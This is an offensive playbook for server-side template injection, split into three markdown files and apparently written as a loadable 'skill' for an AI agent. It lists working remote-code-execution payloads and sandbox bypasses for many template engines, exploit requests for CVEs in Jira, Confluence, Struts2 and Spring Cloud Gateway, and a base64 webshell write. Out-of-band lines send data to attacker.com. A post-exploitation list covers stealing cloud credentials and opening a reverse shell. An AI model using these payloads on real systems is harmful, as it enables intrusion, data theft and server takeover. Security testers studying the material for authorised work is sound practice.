ENGINE_PAYLOADS.md
# ENGINE_PAYLOADS.md — Extended SSTI Fingerprinting & Payload Matrix
> Companion to [SKILL.md](./SKILL.md). Contains per-engine payloads, fingerprint probes, and blind SSTI detection techniques.
---
## 1. ENGINE FINGERPRINTING DECISION TREE
```text
Send: {{7*7}}
├── 49 → Jinja2 or Twig?
│ └── Send: {{7*'7'}}
│ ├── 7777777 → Jinja2 (Python string multiplication)
│ └── 49 → Twig (PHP numeric cast)
├── {{7*7}} (literal) → Not Jinja2/Twig, try others
│ └── Send: ${7*7}
│ ├── 49 → FreeMarker, Velocity, or EL?
│ │ └── Send: ${class.getClass()}
│ │ ├── Works → Velocity
│ │ └── Error → Send: <#assign x=1>${x}
│ │ ├── 1 → FreeMarker
│ │ └── Error → Java EL / Thymeleaf
│ └── ${7*7} (literal) → try #{7*7}, <%= 7*7 %>, {7*7}
│ ├── #{7*7} → 49 → Pug/Jade or Ruby interpolation
│ ├── <%= 7*7 %> → 49 → ERB (Ruby) or EJS (Node.js)
│ └── {7*7} → 49 → Smarty (PHP)
└── Error/500 → Check error message for engine name (stack trace fingerprint)
```
---
## 2. JINJA2 (PYTHON)
### Information disclosure
```python
{{config}}
{{config.items()}}
{{request.environ}}
{{request.application.__globals__}}
{{self.__dict__}}
{{[].__class__.__base__.__subclasses__()}}
```
### RCE chains
```python
# Via config globals
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Via lipsum (Flask built-in)
{{lipsum.__globals__.os.popen('id').read()}}
# Via cycler
{{cycler.__init__.__globals__.os.popen('id').read()}}
# Via joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}
# Via namespace
{{namespace.__init__.__globals__.os.popen('id').read()}}
# Via __import__ through builtins
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# MRO subclass traversal (universal, no Flask dependency)
# Step 1: Find Popen class index
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}{{loop.index0}}{% endif %}
{% endfor %}
# Step 2: Execute (replace INDEX)
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}
```
### Sandbox bypass when `_` is blocked
```python
{{request|attr('\x5f\x5fclass\x5f\x5f')}}
{{''['\x5f\x5fclass\x5f\x5f']}}
{{config|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')}}
# Via request.args to smuggle blocked keywords
{{request.args.x.__class__}}&x=1
# Via request.cookies
{{request.cookies.get('\x5f\x5fclass\x5f\x5f')}}
```
### Sandbox bypass when `.` is blocked
```python
{{config['SECRET_KEY']}}
{{''['__class__']['__mro__'][1]}}
{{()|attr('__class__')}}
```
---
## 3. TWIG (PHP)
### Information disclosure
```twig
{{_self}}
{{_self.env}}
{{_context}}
{{app.request.server.all|join(',')}}
{{app.request.cookies.all|join(',')}}
```
### RCE chains
```twig
{# Twig 1.x #}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
{# Twig 1.x — system() #}
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
{# Twig 2.x/3.x via filter map #}
{{['id']|map('system')|join}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|map('exec')|join}}
{# Twig 2.x — reduce with passthru #}
{{[0]|reduce('system','id')}}
{# Twig — setCache for remote include (Twig 1.x) #}
{{_self.env.setCache("ftp://attacker.com/")}}
{{_self.env.loadTemplate("shell")}}
```
---
## 4. FREEMARKER (JAVA)
### RCE via Execute
```freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("cat /etc/passwd")}
```
### RCE via ObjectConstructor
```freemarker
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",
ob("java.io.InputStreamReader",
ob("java.lang.ProcessBuilder",["id"]).start().getInputStream()))>
${br.readLine()}
```
### RCE via JythonRuntime (if Jython available)
```freemarker
<#assign jr="freemarker.template.utility.JythonRuntime"?new()>
<@jr>import os; os.system("id")</@jr>
```
### File read
```freemarker
<#assign file=object("java.io.File","/etc/passwd")>
<#assign reader=object("java.util.Scanner",file)>
${reader.useDelimiter("\\A").next()}
```
---
## 5. VELOCITY (JAVA)
### RCE chains
```velocity
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$chr.toChars($out.read())#end
```
### Alternative via ClassTool
```velocity
#set($proc=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
#set($reader=$class.inspect("java.io.BufferedReader").type.getDeclaredConstructor(
$class.inspect("java.io.Reader").type).newInstance(
$class.inspect("java.io.InputStreamReader").type.getDeclaredConstructor(
$class.inspect("java.io.InputStream").type).newInstance($proc.getInputStream())))
$reader.readLine()
```
---
## 6. PEBBLE (JAVA)
```pebble
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String')
.getDeclaredConstructors()[0]
.newInstance(([bytes]) ) }}
```
Alternative (shorter):
```pebble
{{ (1).TYPE.forName("java.lang.Runtime").methods[6].invoke(null,null).exec("id") }}
```
---
## 7. MAKO (PYTHON)
```mako
${self.module.cache.util.os.popen('id').read()}
```
Alternative chains:
```mako
<%
import os
x = os.popen('id').read()
%>
${x}
<%
import subprocess
x = subprocess.check_output(['id'])
%>
${x}
```
Mako executes Python code directly within `<% %>` blocks — no sandbox to escape.
---
## 8. SLIM (RUBY)
```slim
#{`id`}
#{ system('id') }
#{ IO.popen('id').read }
#{ File.read('/etc/passwd') }
```
Slim and Haml support Ruby interpolation in `#{ }` blocks — same as ERB `<%= %>`:
```slim
= `id`
= system('whoami')
```
---
## 9. HANDLEBARS (NODE.JS)
Handlebars is "logic-less" by design, but prototype pollution or helper registration can enable RCE:
### RCE via constructor access
```handlebars
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id')"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
```
### Information leak
```handlebars
{{this}}
{{this.constructor}}
{{#each this}}{{@key}}: {{this}}{{/each}}
```
---
## 10. THYMELEAF (JAVA / SPRING)
### SpEL-based RCE
```java
// In fragment selector context
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
// With output capture
__${T(org.apache.commons.io.IOUtils).toString(
T(java.lang.Runtime).getRuntime().exec(
new String[]{"/bin/sh","-c","id"}).getInputStream()
)}__::.x
// In th:text or th:utext attribute
${T(java.lang.Runtime).getRuntime().exec('id')}
// URL-based injection (Spring view name resolution)
GET /doc/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
```
### Pre-processing expression `__${...}__`
Thymeleaf pre-processes `__${expr}__` before template rendering — this is the primary injection vector when view names are user-controlled.
### File read via SpEL
```java
${T(java.nio.file.Files).readString(T(java.nio.file.Path).of('/etc/passwd'))}
```
---
## 11. SMARTY (PHP)
```smarty
{system('id')}
{exec('id')}
{passthru('id')}
{php}system('id');{/php}
{# Smarty 3.x — {php} tags disabled by default, use: #}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system('id');?>",self::clearConfig())}
{# Information disclosure #}
{$smarty.version}
{$smarty.template}
{$smarty.server.SERVER_NAME}
```
---
## 12. ERB (RUBY)
```erb
<%= system('id') %>
<%= `id` %>
<%= exec('id') %>
<%= IO.popen('id').read %>
<%= open('|id').read %>
<%= %x(id) %>
<%= File.read('/etc/passwd') %>
<%= Dir.entries('/') %>
```
ERB has no sandbox — any Ruby code executes directly.
---
## 13. JADE / PUG (NODE.JS)
```pug
#{root.process.mainModule.require('child_process').execSync('id')}
- var x = root.process.mainModule.require('child_process').execSync('id').toString()
p= x
#{global.process.mainModule.require('child_process').execSync('id').toString()}
```
### File read
```pug
- var fs = root.process.mainModule.require('fs')
p= fs.readFileSync('/etc/passwd','utf8')
```
---
## 14. BLIND SSTI DETECTION
When template output is not directly visible in the response:
### Timing-based
```text
# Jinja2
{{range(10000000)|list}} → CPU spike / slow response
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('sleep 5',shell=True)}}
# Twig
{{['sleep 5']|map('system')}}
# FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 5")}
# Velocity
#set($x=''.class.forName('java.lang.Runtime').getRuntime().exec('sleep 5'))
# ERB
<%= sleep(5) %>
# Smarty
{system('sleep 5')}
```
Compare response time: baseline vs payload. 5+ second delta = confirmed blind SSTI.
### DNS-based (OOB)
```text
# Jinja2
{{lipsum.__globals__.os.popen('nslookup TOKEN.attacker.com').read()}}
# Twig
{{['nslookup TOKEN.attacker.com']|map('system')}}
# FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("nslookup TOKEN.attacker.com")}
# ERB
<%= `nslookup TOKEN.attacker.com` %>
# Pug/Jade
#{root.process.mainModule.require('child_process').execSync('nslookup TOKEN.attacker.com')}
```
DNS hit on Burp Collaborator / interactsh = confirmed blind SSTI with RCE.
### Error-based fingerprinting
Force a parser error — the error message or stack trace often names the engine:
```text
${{<%[%'"}}%\.
```
Parse errors from different engines:
- `jinja2.exceptions.TemplateSyntaxError` → Jinja2
- `Twig\Error\SyntaxError` → Twig
- `freemarker.core.ParseException` → FreeMarker
- `org.apache.velocity.exception.ParseErrorException` → Velocity
- `SyntaxError` with Pug stack → Pug/Jade
SCENARIOS.md
# SSTI — Extended Scenarios & Real-World Cases
> Companion to [SKILL.md](./SKILL.md). Contains additional CVE cases, PHP template exploitation, and expression language crossover scenarios.
---
## 1. CVE Case: Maccms 8.x PHP Template Eval
Maccms (a Chinese CMS) uses `eval()` to process template variables in search functionality:
**Attack path**: `/vod-search` endpoint passes user input into template evaluation.
```
# Step 1: Identify injection point
GET /index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}
# Step 2: Write webshell (bypass quote filtering via base64):
GET /index.php?m=vod-search&wd={if-A:eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUW2FdKTs/PicpOw=='))}{endif-A}
# base64 decodes to: file_put_contents('shell.php','<?php eval($_POST[a]);?>');
# Step 3: Access webshell
POST /shell.php
a=system('id');
```
**Key technique**: base64 encoding to bypass quote/special character filtering in template context.
---
## 2. CVE Case: Atlassian Jira SSTI (CVE-2019-11581)
Jira's "Contact Administrators" form processes template expressions in the subject/body:
**Prerequisites**: "Contact Administrators Form" must be enabled; SMTP must be configured.
```
# Step 1: Navigate to /secure/ContactAdministrators!default.jspa
# Step 2: In the subject or message field, inject:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('id')
# Step 3: Submit the form
# Step 4: Check email queue or admin notification for command output
```
**Note**: Output appears in the email sent to administrators, not in the HTTP response. Monitor outbound email or use OOB techniques (DNS/HTTP callback).
---
## 3. Spring Cloud Gateway SpEL Injection (CVE-2022-22947)
Spring Cloud Gateway's actuator endpoint allows adding routes with SpEL expressions in filter arguments:
```bash
# Add malicious route:
POST /actuator/gateway/routes/pwn HTTP/1.1
Content-Type: application/json
{
"id": "pwn",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "X-Pwn",
"value": "#{T(java.lang.Runtime).getRuntime().exec('id')}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/pwn/**"}}]
}
# Refresh to apply:
POST /actuator/gateway/refresh
# Trigger:
GET /pwn/anything
# Check X-Pwn response header for command output
```
Also see the dedicated [expression-language-injection](../expression-language-injection/SKILL.md) skill for SpEL/OGNL deep dives.
---
## 4. Struts2 OGNL → RCE (S2-045 / CVE-2017-5638)
Content-Type header with OGNL expression triggers evaluation in Struts2's multipart parser:
```
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```
Also see [expression-language-injection](../expression-language-injection/SKILL.md) for the full OGNL treatment.
---
## 5. Confluence OGNL Injection (CVE-2021-26084)
Confluence Server's `createpage-entervariables.action` evaluates OGNL in query parameters:
```bash
# Probe:
curl -X POST 'https://TARGET/pages/createpage-entervariables.action' \
-d 'queryString=\u0027%2b{3*3}%2b\u0027'
# If response contains "9" → confirmed
# RCE:
curl -X POST 'https://TARGET/pages/createpage-entervariables.action' \
-d 'queryString=\u0027%2b{Class.forName("java.lang.Runtime").getMethod("exec",Class.forName("java.lang.String")).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}%2b\u0027'
```
---
## 6. SSTI vs EL Injection — When to Cross-Reference
| Indicator | Go To |
|---|---|
| `{{7*7}}` returns 49, Python error traces | Stay here (Jinja2/Twig SSTI) |
| `${7*7}` returns 49, Java stack traces | [expression-language-injection](../expression-language-injection/SKILL.md) |
| `%{7*7}` returns 49, Struts2 errors | [expression-language-injection](../expression-language-injection/SKILL.md) |
| Template syntax with `{if-A:...}` style | PHP CMS template eval (this file, scenario 1) |
---
## 7. Additional Template Engines — ASP.NET Razor
```csharp
// Detection
@(1+2) // Returns 3
// Code execution block
@{
var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.Start();
var output = proc.StandardOutput.ReadToEnd();
}
<p>@output</p>
```
---
## 8. Additional Template Engines — Elixir EEx/LEEx/HEEx
```elixir
# Basic detection
<%= 7*7 %>
# Command execution
<%= elem(System.shell("id"), 0) %>
<%= System.cmd("cat", ["/etc/passwd"]) |> elem(0) %>
# File read
<%= File.read!("/etc/passwd") %>
# Error-based detection
<%= elem(System.shell("invalid_cmd"), 1) %>
# Boolean-based
<%= if elem(System.shell("test -f /etc/passwd"), 1) == 0, do: "EXISTS", else: "NOPE" %>
# Time-based
<%= System.shell("sleep 5") %>
```
---
## 9. Additional Template Engines — PHP Engines
### Smarty (versions matter)
```php
// Smarty 2.x (deprecated but still found)
{php}system('id');{/php}
// Smarty 3.x+ ({php} removed, use tags)
{system('id')}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['c']); ?>",self::clearConfig())}
// Self-reading
{self::getStreamVariable("file:///etc/passwd")}
```
### Latte (Nette framework)
```
{php system('id')}
{='id'|system}
```
### Blade (Laravel) — Rarely exploitable server-side
```
// Raw output (if user controls template source)
{!! system('id') !!}
// @php directive
@php system('id') @endphp
```
### Plates (PHP)
```php
<?php system('id') ?>
// Plates uses raw PHP, so any PHP in template = RCE
```
---
## 10. Additional Template Engines — JavaScript Stack
### Universal Node.js Chain
```javascript
// Works across many JS template engines:
global.process.mainModule.require('child_process').execSync('id').toString()
```
### Pug (formerly Jade)
```
// Detection
#{7*7}
// RCE
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").execSync("id").toString();return sh}()}
```
### Handlebars (older versions RCE chain)
```javascript
// Requires prototype pollution or specific Handlebars version
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
```
### Nunjucks
```
// Detection
{{7*7}}
// RCE
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
```
### EJS
```javascript
// Detection: <% %> tags
<%= 7*7 %>
// RCE
<%= global.process.mainModule.require('child_process').execSync('id').toString() %>
```
### Lodash (_.template)
```javascript
// Detection
${7*7}
// RCE
${global.process.mainModule.require('child_process').execSync('id')}
```
---
## 11. Universal SSTI Detection & Blind Techniques
### Universal Detection Payload
```
${{<%[%'"}}%\.
```
This triggers errors in most template engines, revealing the engine type via error messages.
### Mathematical Detection
```
{{7*7}} → Jinja2, Twig, Nunjucks
${7*7} → FreeMarker, Velocity, EJS, Lodash
<%= 7*7 %> → ERB, EJS, EEx
#{7*7} → Pug, Slim
@(7*7) → Razor
{7*7} → Smarty
(1/0).zxy → Error-based detection
```
### Blind SSTI (no output reflected)
```
# Boolean-based: compare response length/content for true vs false conditions
{{(3*4/2)==6}} vs {{(3*4/2)==7}}
# Time-based (Jinja2):
{% for i in range(10000000) %}{% endfor %}
# OOB (out-of-band):
# Jinja2: {{''.__class__.__mro__[1].__subclasses__()[X]('curl attacker.com/'+open('/etc/passwd').read(),shell=True)}}
```
### Flask Debug PIN Calculation
When Flask debug mode is enabled, calculate the PIN from leaked files:
```
Required values:
1. username: /etc/passwd → find flask process owner
2. modname: usually "flask.app"
3. appname: usually "Flask"
4. modpath: /path/to/flask/app.py (from error page)
5. MAC address: /sys/class/net/eth0/address → convert to decimal
6. machine-id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup (first hex after last /)
Combine: md5(mac + machine_id) → first 9 digits = PIN
```
SKILL.md
---
name: ssti-server-side-template-injection
description: >-
SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.
---
# SKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion [SCENARIOS.md](./SCENARIOS.md).
## 0. RELATED ROUTING
Before using full engine-specific exploitation, you can first load:
- First use the polyglot probe sequence at the top of this file for low-noise fingerprinting
- [expression-language-injection](../expression-language-injection/SKILL.md) when `${7*7}` or `%{7*7}` resolves in Java (SpEL/OGNL) — different attack surface from template engines
### Extended Scenarios
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- Maccms 8.x PHP template `eval` — `{if-A:phpinfo()}{endif-A}` in `vod-search`, base64 bypass for webshell write
- Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
- Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with `StreamUtils.copyToByteArray` for output capture
- Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with `_memberAccess` / `OgnlUtil` blacklist clear
- Confluence OGNL CVE-2021-26084 — `createpage-entervariables.action` with `\u0027` unicode bypass
- SSTI vs EL injection disambiguation guide
- Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation
**SCENARIOS.md reference (§7–§11):** For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see [SCENARIOS.md](./SCENARIOS.md). This skill keeps a short checklist in §13–§15.
### Engine Payloads Reference
For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see [ENGINE_PAYLOADS.md](./ENGINE_PAYLOADS.md).
### Universal detection & blind SSTI (pointer)
Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow [SCENARIOS.md](./SCENARIOS.md) §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).
---
## 1. DETECTION — POLYGLOT PROBE SEQUENCE
First test: distinguish SSTI from XSS. Send these probes and check if **math is evaluated** server-side:
```
{{7*7}} → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7} → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7} → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x} → FreeMarker
@{7*7} → Thymeleaf
*{7*7} → Thymeleaf SpEL (*{...})
```
**Jinja2 vs Twig disambiguation**:
```
{{7*'7'}}
→ 7777777 = Jinja2 (Python string multiplication)
→ 49 = Twig (PHP numeric)
```
**Safe detection probe** (no math, just boolean):
```
{{''.__class__}} → class 'str' = Python/Jinja2
```
---
## 2. ENGINE-TO-LANGUAGE MAPPING
| Template Engine | Language | Framework |
|---|---|---|
| Jinja2 | Python | Flask, FastAPI |
| Django Templates | Python | Django |
| Mako | Python | Pyramid |
| Twig | PHP | Symfony, Laravel |
| Smarty | PHP | Various |
| FreeMarker | Java | Spring MVC |
| Velocity | Java | Various Java |
| Pebble | Java | Various Java |
| Thymeleaf | Java | Spring Boot |
| ERB | Ruby | Rails |
| Slim / Haml | Ruby | Rails |
| Jade / Pug | Node.js | Express |
| Handlebars | Node.js | Express |
| Tornado | Python | Tornado |
Identifying language from errors → then narrow to template engine.
---
## 3. JINJA2 (PYTHON FLASK) — RCE CHAINS
### Chain 1: `os` module via `__globals__`
```python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
### Chain 2: MRO subclass traversal (sandbox escape)
```python
# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list
# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}
```
### Chain 3: `request` object globals (works when `config` blocked)
```python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```
(Uses hex encoding to avoid `_` filtering)
### Chain 4: `lipsum` function globals (Flask built-in)
```python
{{lipsum.__globals__.os.popen('id').read()}}
```
### Chain 5: `cycler` object
```python
{{cycler.__init__.__globals__.os.popen('id').read()}}
```
### Finding correct subprocess index dynamically:
```python
# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{loop.index}}
{% endif %}
{% endfor %}
```
---
## 4. JINJA2 SANDBOX BYPASS TECHNIQUES
### When `_` (underscore) is blocked:
```python
# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')
# Use getattr via request object:
request|attr('args')|attr('__class__')
```
### When `.` (dot) is blocked:
```python
# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']
```
### When keywords (class, mro) are blocked:
Use hex/unicode in `attr()`:
```python
|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')
```
### When output encoding strips HTML entities:
Use `|safe` filter to prevent auto-escaping.
---
## 5. FREEMARKER (JAVA) — RCE
### Execute Command via freemarker.template.utility.Execute
```freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
```
### Alternative via ObjectConstructor:
```freemarker
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}
```
---
## 6. TWIG (PHP) — RCE
```php
// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Twig 2.x using built-ins:
{{['id']|map('system')|join}}
// via filter map:
{{app.request.server.all|join(',')}}
```
---
## 7. VELOCITY (JAVA) — RCE
```velocity
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)
```
Or more directly:
```velocity
#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))
```
---
## 8. ERB (RUBY RAILS) — RCE
```ruby
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>
```
---
## 9. THYMELEAF (JAVA SPRING) — RCE
Thymeleaf with Spring EL (SpEL):
```java
// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type
// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type
```
---
## 10. CLIENT-SIDE TEMPLATE INJECTION (AngularJS)
When AngularJS is used client-side and user data flows into template expressions:
```javascript
// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
```
**Detection**: send `{{1+1}}` — if page shows `2`, AngularJS evaluates expressions in the DOM.
---
## 11. SSTI → FULL RCE PATH
```
SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen()
│ OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()
```
**Post-RCE pivot**:
1. Read `/proc/self/environ` — env vars with credentials
2. Read application config files — DB passwords, API keys
3. `cat ~/.aws/credentials` — cloud credentials
4. Reverse shell for persistence
---
## 12. COMMON INJECTION ENTRY POINTS
Where user data enters templates:
- URL path: `https://site.com/home?name={{7*7}}`
- Query parameters: `?message=Hello`
- HTML forms: profile name, bio, content fields
- Error pages: `404 Not Found: /PAYLOAD`
- Email templates: name in password reset emails
- Inline template rendering: `render_template_string(user_input)`
**Most dangerous**: `render_template_string()` in Flask — entire user input used as template.
---
## 13. UNIVERSAL DETECTION PAYLOADS
**Polyglot probe** that triggers errors or evaluation in many engines:
```
${{<%[%'"}}%\.
```
**Mathematical probes** for blind/error confirmation:
```
{{7*7}} → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7} → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %> → 49 (ERB, EJS, EEx)
#{7*7} → 49 (Pug, Ruby interpolation)
@(7*7) → 49 (Razor)
{7*7} → 49 (Smarty)
```
**Error-based engine fingerprint** (parser/stack traces often name the engine):
```
(1/0).zxy.zxy
```
---
## 14. BLIND SSTI TECHNIQUES
- **Boolean-based**: Compare `(3*4/2)` vs `3*)2(/4` — if the first resolves and the second errors, evaluation is likely
- **Time-based**: `{{sleep(5)}}` or the engine-specific equivalent for delay
- **OOB**: DNS/HTTP callback via template expressions when direct output is not visible
- **Error-based**: Force different error messages based on true/false conditions
---
## 15. FLASK PIN CALCULATION
When Flask **debug mode** (Werkzeug debugger) is exposed but **PIN-protected**, the PIN is derived from host-specific values. Typical inputs for public PIN calculation scripts:
1. **`username`** — from `/etc/passwd` (the user running the Flask process)
2. **Module name** — often `flask.app` or `Flask`
3. **Application path** — `app.py` or the real main filename
4. **MAC address** — e.g. `/sys/class/net/eth0/address`, converted to decimal as Werkzeug expects
5. **Machine ID** — `/etc/machine-id`, or `/proc/sys/kernel/random/boot_id` combined with the first line of `/proc/self/cgroup` per Werkzeug’s algorithm
6. **Compute PIN** — use established open-source PIN calculators that implement the same algorithm from these values
> Use only on systems you are authorized to test; obtaining these values implies prior access or an additional info-disclosure vector.